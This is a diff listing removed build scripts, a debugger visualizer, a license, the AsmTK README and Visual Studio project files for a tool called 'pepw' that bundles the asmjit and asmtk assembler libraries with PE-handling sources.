<Intrinsic Name="memX86ShiftValue" Expression="((_signature._bits &gt;&gt; 16) &amp; 0x3)" />
<Intrinsic Name="memX86Broadcast" Expression="(asmjit::x86::Mem::Broadcast)((_signature._bits &gt;&gt; 21) &amp; 0x7)" />
<Intrinsic Name="memBaseId" Expression="_baseId" />
<Intrinsic Name="memIndexId" Expression="_data[0]" />
<Intrinsic Name="memOffset32b" Expression="(__int64)int(_data[1])" />
<Intrinsic Name="memOffset64b" Expression="(__int64) ((unsigned __int64)_baseId &lt;&lt; 32) | ((unsigned __int64)_data[1])" />
<Intrinsic Name="memOffset" Expression="memBaseType() != asmjit::RegType::kNone ? memOffset32b() : memOffset64b()" />
<Intrinsic Name="immType" Expression="(asmjit::ImmType)((_signature._bits &gt;&gt; 3) &amp; 0x1)" />
<Intrinsic Name="immValue" Expression="((__int64)_data[1] &lt;&lt; 32) | (__int64)_data[0]" />
<DisplayString Condition="opType() == asmjit::OperandType::kNone">[None]</DisplayString>
<DisplayString Condition="opType() == asmjit::OperandType::kReg">[Reg] {{ id={_baseId, d} group={regGroup(), d} type={regType(), d} size={opSize(), d} }}</DisplayString>
<DisplayString Condition="opType() == asmjit::OperandType::kMem">[Mem] {{ baseId={memBaseId(), d} indexId={memIndexId(), d} offset={(__int64)memOffset(), d} }}</DisplayString>
<DisplayString Condition="opType() == asmjit::OperandType::kImm">[Imm] {{ val={immValue(), d} hex={immValue(), X} }}</DisplayString>
<DisplayString Condition="opType() == asmjit::OperandType::kLabel">[Label] {{ id={_baseId} }}</DisplayString>
<DisplayString Condition="opType() &gt; 4">[Unknown]</DisplayString>
<Expand HideRawView="true">
<Item Name="_signature">_signature._bits, X</Item>
<Item Name="op.type">opType()</Item>
<Item Name="op.size">opSize(), d</Item>
<Item Name="reg.type" Condition="opType() == asmjit::OperandType::kReg">regType()</Item>
<Item Name="reg.group" Condition="opType() == asmjit::OperandType::kReg">regGroup()</Item>
<Item Name="reg.id" Condition="opType() == asmjit::OperandType::kReg">_baseId, d</Item>
<Item Name="mem.baseType" Condition="opType() == asmjit::OperandType::kMem">memBaseType()</Item>
<Item Name="mem.baseId" Condition="opType() == asmjit::OperandType::kMem &amp;&amp; memBaseType() != asmjit::RegType::kNone">memBaseId()</Item>
<Item Name="mem.indexType" Condition="opType() == asmjit::OperandType::kMem">memIndexType()</Item>
<Item Name="mem.indexId" Condition="opType() == asmjit::OperandType::kMem &amp;&amp; memIndexType() != asmjit::RegType::kNone">memIndexId()</Item>
<Item Name="mem.regHome" Condition="opType() == asmjit::OperandType::kMem">memRegHome()</Item>
<Item Name="mem.offset" Condition="opType() == asmjit::OperandType::kMem">memOffset(), d</Item>
<Item Name="mem.x86.segment" Condition="opType() == asmjit::OperandType::kMem">memX86Segment()</Item>
<Item Name="mem.x86.addrType" Condition="opType() == asmjit::OperandType::kMem">memX86AddrType()</Item>
<Item Name="mem.x86.shift" Condition="opType() == asmjit::OperandType::kMem">memX86ShiftValue()</Item>
<Item Name="mem.x86.broadcast" Condition="opType() == asmjit::OperandType::kMem">memX86Broadcast()</Item>
<Item Name="imm.type" Condition="opType() == asmjit::OperandType::kImm">immType()</Item>
<Item Name="imm.value" Condition="opType() == asmjit::OperandType::kImm">immValue(), X</Item>
<Item Name="label.id" Condition="opType() == asmjit::OperandType::kLabel">_baseId, d</Item>
<Item Name="raw.baseId">_baseId</Item>
<Item Name="raw.data[0]">_data[0]</Item>
<Item Name="raw.data[1]">_data[1]</Item>
</Expand>
</Type>
<Type Name="asmjit::FuncValue">
<Intrinsic Name="isReg" Expression="(_data &amp; asmjit::FuncValue::kFlagIsReg) != 0" />
<Intrinsic Name="isStack" Expression="(_data &amp; asmjit::FuncValue::kFlagIsStack) != 0" />
<Intrinsic Name="isIndirect" Expression="(_data &amp; asmjit::FuncValue::kFlagIsIndirect) != 0" />
<Intrinsic Name="isDone" Expression="(_data &amp; asmjit::FuncValue::kFlagIsDone) != 0" />
<Intrinsic Name="typeId" Expression="((_data &amp; asmjit::FuncValue::kTypeIdMask) &gt;&gt; asmjit::FuncValue::kTypeIdShift)" />
<Intrinsic Name="regId" Expression="((_data &amp; asmjit::FuncValue::kRegIdMask) &gt;&gt; asmjit::FuncValue::kRegIdShift)" />
<Intrinsic Name="regType" Expression="((_data &amp; asmjit::FuncValue::kRegTypeMask) &gt;&gt; asmjit::FuncValue::kRegTypeShift)" />
<Intrinsic Name="stackOffset" Expression="((_data &amp; asmjit::FuncValue::kStackOffsetMask) &gt;&gt; asmjit::FuncValue::kStackOffsetShift)" />
<DisplayString Condition="isReg()">[RegValue {{ regType={regType()} indirect={isIndirect()} done={isDone()} }}]</DisplayString>
<DisplayString Condition="isStack()">[StackValue {{ indirect={isIndirect()} done={isDone()} }}]</DisplayString>
<DisplayString Condition="!isReg() &amp;&amp; !isStack()">[Unknown]</DisplayString>
<Expand HideRawView="true">
<Item Name="data">_data</Item>
<Item Name="typeId">(asmjit::TypeId)(typeId())</Item>
<Item Name="regType" Condition="isReg()">(asmjit::BaseReg::RegType)regType()</Item>
<Item Name="regId" Condition="isReg()">regId()</Item>
<Item Name="stackOffset" Condition="isStack()">stackOffset()</Item>
</Expand>
</Type>
<Type Name="asmjit::BaseNode">
<Intrinsic Name="nodeType" Expression="_any._nodeType" />
<Intrinsic Name="isInst" Expression="nodeType() == asmjit::NodeType::kInst"></Intrinsic>
<Intrinsic Name="isSection" Expression="nodeType() == asmjit::NodeType::kSection"></Intrinsic>
<Intrinsic Name="isLabel" Expression="nodeType() == asmjit::NodeType::kLabel"></Intrinsic>
<Intrinsic Name="isAlign" Expression="nodeType() == asmjit::NodeType::kAlign"></Intrinsic>
<Intrinsic Name="isEmbedData" Expression="nodeType() == asmjit::NodeType::kEmbedData"></Intrinsic>
<Intrinsic Name="isEmbedLabel" Expression="nodeType() == asmjit::NodeType::kEmbedLabel"></Intrinsic>
<Intrinsic Name="isEmbedLabelDelta" Expression="nodeType() == asmjit::NodeType::kEmbedLabelDelta"></Intrinsic>
<Intrinsic Name="isConstPool" Expression="nodeType() == asmjit::NodeType::kConstPool"></Intrinsic>
<Intrinsic Name="isComment" Expression="nodeType() == asmjit::NodeType::kComment"></Intrinsic>
<Intrinsic Name="isSentinel" Expression="nodeType() == asmjit::NodeType::kSentinel"></Intrinsic>
<Intrinsic Name="isJump" Expression="nodeType() == asmjit::NodeType::kJump"></Intrinsic>
<Intrinsic Name="isFunc" Expression="nodeType() == asmjit::NodeType::kFunc"></Intrinsic>
<Intrinsic Name="isFuncRet" Expression="nodeType() == asmjit::NodeType::kFuncRet"></Intrinsic>
<Intrinsic Name="isInvoke" Expression="nodeType() == asmjit::NodeType::kInvoke"></Intrinsic>
<Intrinsic Name="actsAsInst" Expression="isInst() || isJump() || isFunc() || isFuncRet() || isInvoke()" />
<Intrinsic Name="actsAsLabel" Expression="isLabel() || isFunc()" />
<DisplayString Condition="isInst()">[InstNode]</DisplayString>
<DisplayString Condition="isSection()">[SectionNode]</DisplayString>
<DisplayString Condition="isLabel()">[LabelNode]</DisplayString>
<DisplayString Condition="isAlign()">[AlignNode]</DisplayString>
<DisplayString Condition="isEmbedData()">[EmbedDataNode]</DisplayString>
<DisplayString Condition="isEmbedLabel()">[EmbedLabelNode]</DisplayString>
<DisplayString Condition="isEmbedLabelDelta()">[EmbedLabelDeltaNode]</DisplayString>
<DisplayString Condition="isConstPool()">[ConstPoolNode]</DisplayString>
<DisplayString Condition="isComment()">[CommentNode]</DisplayString>
<DisplayString Condition="isSentinel()">[SentinelNode]</DisplayString>
<DisplayString Condition="isJump()">[JumpNode]</DisplayString>
<DisplayString Condition="isFunc()">[FuncNode]</DisplayString>
<DisplayString Condition="isFuncRet()">[FuncRetNode]</DisplayString>
<DisplayString Condition="isInvoke()">[InvokeNode]</DisplayString>
<DisplayString Condition="nodeType() == asmjit::NodeType::kNone || nodeType() &gt; 18">[UnknownNode {nodeType(), d}]</DisplayString>
<Expand HideRawView="true">
<Item Name="prev">_prev</Item>
<Item Name="next">_next</Item>
<Item Name="nodeType">_any._nodeType</Item>
<Item Name="nodeFlags">_any._nodeFlags</Item>
<Item Name="position">_position</Item>
<Item Name="userData.u64">_userDataU64</Item>
<Item Name="userData.ptr">_userDataPtr</Item>
<Item Name="passData">_passData</Item>
<Item Name="inlineComment">_inlineComment, s8</Item>
<Item Name="baseInst" Condition="actsAsInst()">((asmjit::InstNode*)this)-&gt;_baseInst</Item>
<Item Name="opCount" Condition="actsAsInst()">_inst._opCount</Item>
<Item Name="opCapacity" Condition="actsAsInst()">_inst._opCapacity</Item>
<Item Name="opArray" Condition="actsAsInst()">((asmjit::InstNode*)this)-&gt;_opArray, [_inst._opCount]</Item>
<Item Name="sectionId" Condition="isSection()">((asmjit::SectionNode*)this)-&gt;_id</Item>
<Item Name="nextSection" Condition="isSection()">((asmjit::SectionNode*)this)-&gt;_nextSection</Item>
<Item Name="labelId" Condition="isLabel()">((asmjit::LabelNode*)this)-&gt;_labelId</Item>
<Item Name="alignMode" Condition="isAlign()">((asmjit::AlignNode*)this)-&gt;_alignData._alignMode</Item>
<Item Name="alignment" Condition="isAlign()">((asmjit::AlignNode*)this)-&gt;_alignment</Item>
<Item Name="typeId" Condition="isEmbedData()">_embed._typeId, d</Item>
<Item Name="typeSize" Condition="isEmbedData()">_embed._typeSize, d</Item>
<Item Name="itemCount" Condition="isEmbedData()">((asmjit::EmbedDataNode*)this)-&gt;_itemCount</Item>
<Item Name="repeatCount" Condition="isEmbedData()">((asmjit::EmbedDataNode*)this)-&gt;_repeatCount</Item>
<Item Name="inlineData" Condition="isEmbedData()">((asmjit::EmbedDataNode*)this)-&gt;_inlineData</Item>
<Item Name="externalData" Condition="isEmbedData()">((asmjit::EmbedDataNode*)this)-&gt;_externalData</Item>
<Item Name="labelId" Condition="isEmbedLabel()">((asmjit::EmbedLabelNode*)this)-&gt;_labelId</Item>
<Item Name="labelId" Condition="isEmbedLabelDelta()">((asmjit::EmbedLabelDeltaNode*)this)-&gt;_labelId</Item>
<Item Name="baseLabelId" Condition="isEmbedLabelDelta()">((asmjit::EmbedLabelDeltaNode*)this)-&gt;_baseLabelId</Item>
<Item Name="dataSize" Condition="isEmbedLabelDelta()">((asmjit::EmbedLabelDeltaNode*)this)-&gt;_dataSize</Item>
<Item Name="constPool" Condition="isConstPool()">((asmjit::ConstPoolNode*)this)-&gt;_constPool</Item>
<Item Name="sentinel.sentinelType" Condition="isSentinel()">_sentinel._sentinelType</Item>
<Item Name="annotation" Condition="isJump()">((asmjit::JumpNode*)this)-&gt;_annotation</Item>
<Item Name="funcDetail" Condition="isFunc()">((asmjit::FuncNode*)this)-&gt;_funcDetail</Item>
<Item Name="frame" Condition="isFunc()">((asmjit::FuncNode*)this)-&gt;_frame</Item>
<Item Name="exitNode" Condition="isFunc()">((asmjit::FuncNode*)this)-&gt;_exitNode</Item>
<Item Name="end" Condition="isFunc()">((asmjit::FuncNode*)this)-&gt;_end</Item>
<Item Name="args" Condition="isFunc()">((asmjit::FuncNode*)this)-&gt;_args, [((asmjit::FuncNode*)this)-&gt;_funcDetail._argCount]</Item>
<Item Name="funcDetail" Condition="isInvoke()">((asmjit::InvokeNode*)this)-&gt;_funcDetail</Item>
<Item Name="rets" Condition="isInvoke()">((asmjit::InvokeNode*)this)-&gt;_rets</Item>
<Item Name="args" Condition="isInvoke()">((asmjit::InvokeNode*)this)-&gt;_args, [((asmjit::InvokeNode*)this)-&gt;_funcDetail._argCount]</Item>
</Expand>
</Type>
</AutoVisualizer>

View File

@ -1,13 +0,0 @@
#!/bin/sh
CURRENT_DIR="`pwd`"
BUILD_DIR="${CURRENT_DIR}/../build"
BUILD_OPTIONS="-DCMAKE_EXPORT_COMPILE_COMMANDS=ON -DASMJIT_TEST=1"
echo "== [Configuring Build - Debug] =="
eval cmake "${CURRENT_DIR}/.." -B "${BUILD_DIR}/Debug" -DCMAKE_BUILD_TYPE=Debug ${BUILD_OPTIONS}
echo ""
echo "== [Configuring Build - Release] =="
eval cmake "${CURRENT_DIR}/.." -B "${BUILD_DIR}/Release" -DCMAKE_BUILD_TYPE=Release ${BUILD_OPTIONS}
echo ""

View File

@ -1,13 +0,0 @@
#!/bin/sh
CURRENT_DIR="`pwd`"
BUILD_DIR="${CURRENT_DIR}/../build"
BUILD_OPTIONS="-G Ninja -DCMAKE_EXPORT_COMPILE_COMMANDS=ON -DASMJIT_TEST=1"
echo "== [Configuring Build - Debug] =="
eval cmake "${CURRENT_DIR}/.." -B "${BUILD_DIR}/Debug" -DCMAKE_BUILD_TYPE=Debug ${BUILD_OPTIONS}
echo ""
echo "== [Configuring Build - Release] =="
eval cmake "${CURRENT_DIR}/.." -B "${BUILD_DIR}/Release" -DCMAKE_BUILD_TYPE=Release ${BUILD_OPTIONS}
echo ""

View File

@ -1,13 +0,0 @@
#!/bin/sh
CURRENT_DIR="`pwd`"
BUILD_DIR="${CURRENT_DIR}/../build"
BUILD_OPTIONS="-DCMAKE_EXPORT_COMPILE_COMMANDS=ON -DASMJIT_TEST=1"
echo "== [Configuring Build - Release_ASAN] =="
eval cmake "${CURRENT_DIR}/.." -B "${BUILD_DIR}/Release_ASAN" ${BUILD_OPTIONS} -DCMAKE_BUILD_TYPE=Release -DASMJIT_SANITIZE=address
echo ""
echo "== [Configuring Build - Release_UBSAN] =="
eval cmake "${CURRENT_DIR}/.." -B "${BUILD_DIR}/Release_UBSAN" ${BUILD_OPTIONS} -DCMAKE_BUILD_TYPE=Release -DASMJIT_SANITIZE=undefined
echo ""

View File

@ -1,2 +0,0 @@
@echo off
cmake .. -B "..\build_vs2019_x64" -G"Visual Studio 16" -A x64 -DASMJIT_TEST=1

View File

@ -1,2 +0,0 @@
@echo off
cmake .. -B "..\build_vs2019_x86" -G"Visual Studio 16" -A Win32 -DASMJIT_TEST=1

View File

@ -1,2 +0,0 @@
@echo off
cmake .. -B "..\build_vs2022_x64" -G"Visual Studio 17" -A x64 -DASMJIT_TEST=1

View File

@ -1,2 +0,0 @@
@echo off
cmake .. -B "..\build_vs2022_x86" -G"Visual Studio 17" -A Win32 -DASMJIT_TEST=1

View File

@ -1,8 +0,0 @@
#!/bin/sh
CURRENT_DIR="`pwd`"
BUILD_DIR="${CURRENT_DIR}/../build"
BUILD_OPTIONS="-G Xcode -DCMAKE_EXPORT_COMPILE_COMMANDS=ON -DASMJIT_TEST=1"
mkdir -p "${BUILD_DIR}"
eval cmake "${CURRENT_DIR}/.." -B "${BUILD_DIR}" ${BUILD_OPTIONS}

View File

@ -1,3 +0,0 @@
#!/usr/bin/env sh
set -e
node ./enumgen.js $@

View File

@ -1,3 +0,0 @@
#!/usr/bin/env sh
set -e
node ./tablegen-x86.js $@

View File

@ -1,10 +0,0 @@
# Editor configuration, see https://editorconfig.org for more details.
root = true
[*.{cpp,h,natvis}]
charset = utf-8
end_of_line = lf
indent_style = space
indent_size = 2
insert_final_newline = true
trim_trailing_whitespace = true

View File

@ -1,18 +0,0 @@
{
"valgrind_arguments": [
"--leak-check=full",
"--show-reachable=yes",
"--track-origins=yes"
],
"tests": [
{
"cmd": ["asmtk_test_x86parser"],
"optional": true
},
{
"cmd": ["asmtk_test_x86handler"],
"optional": true
}
]
}

View File

@ -1,5 +0,0 @@
.vscode
.kdev4
*.kdev4
build
build_*

View File

@ -1,18 +0,0 @@
AsmTK - Assembler toolkit based on AsmJit
Copyright (c) 2016, Petr Kobalicek <kobalicek.petr@gmail.com>
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.

View File

@ -1,103 +0,0 @@
AsmTK
-----
Assembler toolkit based on AsmJit.
* [Official Repository (asmjit/asmtk)](https://github.com/asmjit/asmtk)
* [Official Blog (asmbits)](https://asmbits.blogspot.com/ncr)
* [Official Chat (gitter)](https://gitter.im/asmjit/asmjit)
* [Permissive ZLIB license](./LICENSE.md)
Introduction
------------
AsmTK is a sister project of AsmJit library, which provides concepts that are useful mostly in AOT code-generation.
Features
--------
* Both X86 and X64 modes are supported and can be selected at runtime (i.e. they not depend on how your application is compiled).
* Asm parser can parse everything that AsmJit provides (i.e. supports all instruction sets, named labels, etc...).
* Asm parser can also parse instruction aliases defined by AsmTK (like `movsb`, `cmpsb`, `sal`, ...). AsmJit provides just generic `movs`, `cmps`, etc... so these are extras that are handled and recognized by AsmTK.
* Assembles to any `BaseEmitter`, which means that you can choose between `Assembler` and `BaseBuilder` at runtime, and that the result can be post-processed as well
* More to be added...
TODO
----
* [ ] More aliases to some SIMD instructions (to be added).
* [ ] Implement asmtk::Linker that will add the possibility to write shared libraries and executables.
AsmParser Usage Guide
---------------------
Assembler parsing is provided by `AsmParser` class, which emits to `BaseEmitter`:
```C++
#include <asmtk/asmtk.h>
using namespace asmjit;
using namespace asmtk;
// Used to print binary code as hex.
static void dumpCode(const uint8_t* buf, size_t size) {
constexpr uint32_t kCharsPerLine = 39;
char hex[kCharsPerLine * 2 + 1];
size_t i = 0;
while (i < size) {
size_t j = 0;
size_t end = size - i < kCharsPerLine ? size - i : size_t(kCharsPerLine);
end += i;
while (i < end) {
uint8_t b0 = buf[i] >> 4;
uint8_t b1 = buf[i] & 15;
hex[j++] = b0 < 10 ? '0' + b0 : 'A' + b0 - 10;
hex[j++] = b1 < 10 ? '0' + b1 : 'A' + b1 - 10;
i++;
}
hex[j] = '\0';
puts(hex);
}
}
int main(int argc, char* argv[]) {
// Setup CodeHolder for X64.
Environment env(Arch::kX64);
CodeHolder code;
code.init(emv);
// Attach x86::Assembler to `code`.
x86::Assembler a(&code);
// Create AsmParser that will emit to x86::Assembler.
AsmParser p(&a);
// Parse some assembly.
Error err = p.parse(
"mov rax, rbx\n"
"vaddpd zmm0, zmm1, [rax + 128]\n");
// Error handling (use asmjit::ErrorHandler for more robust error handling).
if (err) {
printf("ERROR: %08x (%s)\n", err, DebugUtils::errorAsString(err));
return 1;
}
// Now you can print the code, which is stored in the first section (.text).
CodeBuffer& buffer = code.sectionById(0)->buffer();
dumpCode(buffer.data(), buffer.size());
return 0;
}
```
You should check out the test directory to see how AsmTK integrates with AsmJit.
Authors & Maintainers
---------------------
* Petr Kobalicek <kobalicek.petr@gmail.com>

View File

@ -1,17 +0,0 @@
#!/bin/sh
CURRENT_DIR="`pwd`"
BUILD_DIR="${CURRENT_DIR}/../build"
BUILD_OPTIONS="-DCMAKE_EXPORT_COMPILE_COMMANDS=ON -DASMTK_TEST=1"
if [ -n "${ASMJIT_DIR}" ]; then
BUILD_OPTIONS="${BUILD_OPTIONS} -DASMJIT_DIR=\"${ASMJIT_DIR}\""
fi
echo "== [Configuring Build - Debug] =="
eval cmake "${CURRENT_DIR}/.." -B "${BUILD_DIR}/Debug" -DCMAKE_BUILD_TYPE=Debug ${BUILD_OPTIONS}
echo ""
echo "== [Configuring Build - Release] =="
eval cmake "${CURRENT_DIR}/.." -B "${BUILD_DIR}/Release" -DCMAKE_BUILD_TYPE=Release ${BUILD_OPTIONS}
echo ""

View File

@ -1,2 +0,0 @@
@echo off
cmake .. -B "..\build_vs2019_x64" -G"Visual Studio 16" -A x64 -DASMTK_TEST=1

View File

@ -1,2 +0,0 @@
@echo off
cmake .. -B "..\build_vs2019_x86" -G"Visual Studio 16" -A Win32 -DASMTK_TEST=1

View File

@ -1,2 +0,0 @@
@echo off
cmake .. -B "..\build_vs2022_x64" -G"Visual Studio 17" -A x64 -DASMTK_TEST=1

View File

@ -1,2 +0,0 @@
@echo off
cmake .. -B "..\build_vs2022_x86" -G"Visual Studio 17" -A Win32 -DASMTK_TEST=1

View File

@ -1,25 +0,0 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.0.32014.148
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "pepw", "pepw.vcxproj", "{F5A857D8-4055-4581-90F9-890CF6D6711D}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x86 = Debug|x86
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{F5A857D8-4055-4581-90F9-890CF6D6711D}.Debug|x86.ActiveCfg = Debug|Win32
{F5A857D8-4055-4581-90F9-890CF6D6711D}.Debug|x86.Build.0 = Debug|Win32
{F5A857D8-4055-4581-90F9-890CF6D6711D}.Release|x86.ActiveCfg = Release|Win32
{F5A857D8-4055-4581-90F9-890CF6D6711D}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {B64DFEC7-3463-48AB-9C0E-F519F5DF8293}
EndGlobalSection
EndGlobal

View File

@ -1,235 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{f5a857d8-4055-4581-90f9-890cf6d6711d}</ProjectGuid>
<RootNamespace>pepw</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<IncludePath>$(IncludePath)</IncludePath>
<SourcePath>$(SourcePath)</SourcePath>
<PublicIncludeDirectories>$(PublicIncludeDirectories)</PublicIncludeDirectories>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;ASMJIT_STATIC;ASMTK_STATIC;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<AdditionalIncludeDirectories>$(ProjectDir)..\dep\asmjit\src;$(ProjectDir)..\dep\asmtk\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;ASMJIT_STATIC;ASMTK_STATIC;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>..\\dep\asmjit\src;..\\dep\asmtk\src</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\archtraits.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\assembler.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\builder.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\codeholder.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\codewriter.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\compiler.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\constpool.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\cpuinfo.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\emithelper.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\emitter.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\emitterutils.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\environment.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\errorhandler.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\formatter.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\func.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\funcargscontext.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\globals.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\inst.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\jitallocator.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\jitruntime.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\logger.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\operand.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\osutils.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\ralocal.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\rapass.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\rastack.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\string.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\support.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\target.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\type.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\virtmem.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\zone.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\zonehash.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\zonelist.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\zonestack.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\zonetree.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\core\zonevector.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86assembler.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86builder.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86compiler.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86emithelper.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86formatter.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86func.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86instapi.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86instdb.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86operand.cpp" />
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86rapass.cpp" />
<ClCompile Include="..\dep\asmtk\src\asmtk\asmparser.cpp" />
<ClCompile Include="..\dep\asmtk\src\asmtk\asmtokenizer.cpp" />
<ClCompile Include="pepw.cpp" />
<ClCompile Include="PE\PEBase.cpp" />
<ClCompile Include="PE\PERelocation.cpp" />
<ClCompile Include="PE\PEResource.cpp" />
<ClCompile Include="SEED128\KISA_SEED_ECB.cpp" />
</ItemGroup>
<ItemGroup>
